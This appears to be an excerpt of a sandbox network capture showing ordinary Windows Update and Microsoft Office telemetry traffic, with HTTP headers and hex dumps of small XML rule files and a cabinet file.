Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:06 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:07 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:07 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172207Z-174c587ffdfb5q56hC1TEB04kg000000033000000000hvvb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:07 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49748	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:08 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YetTvnzo787V92F&MD=hFYbta5p HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 17:22:09 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: fdeeb5c3-786c-4a0d-a058-cfdca2590ae9 MS-RequestId: 60fa3440-1ddd-4330-ab4e-0c5f9886a0c7 MS-CV: q9cbP7jnekWeQQ6O.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 17:22:08 GMT Connection: close Content-Length: 30005
2024-11-23 17:22:09 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 17:22:09 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:08 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:09 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: ae573645-101e-008d-516d-3b92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172209Z-174c587ffdf89smkhC1TEB697s00000003b0000000007vt4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:09 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:09 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:09 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: f440515e-401e-0029-2e38-3c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172209Z-178bfbc474bnwsh4hC1NYC2ubs00000004rg00000000k5pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:09 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:09 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:09 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 561f43d7-f01e-0096-2f75-3b10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172209Z-174c587ffdf59vqchC1TEByk6800000003b000000000f94e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:09 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:09 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3744ce68-601e-00ab-2603-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172209Z-178bfbc474bbcwv4hC1NYCypys00000004rg000000000fah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:09 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:09 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:09 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172209Z-178bfbc474btvfdfhC1NYCa2en00000004y0000000001p2m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:09 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:11 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:11 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: a69f297f-901e-002a-244c-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172211Z-15b8b599d88cn5thhC1TEBqxkn000000033g00000000c1f7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:11 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49757	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:11 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:11 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:11 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172211Z-174c587ffdf8lw6dhC1TEBkgs80000000390000000006tp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:11 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:11 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:12 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: caffefd3-a01e-003d-6e3c-3c98d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172212Z-178bfbc474bgvl54hC1NYCsfuw00000004u0000000004syq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:12 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49760	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:11 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:22:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:22:12 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 8189730a-201e-0003-216a-3bf85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172212Z-178bfbc474bw8bwphC1NYC38b400000004g000000000htwc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:22:12 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:22:11 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
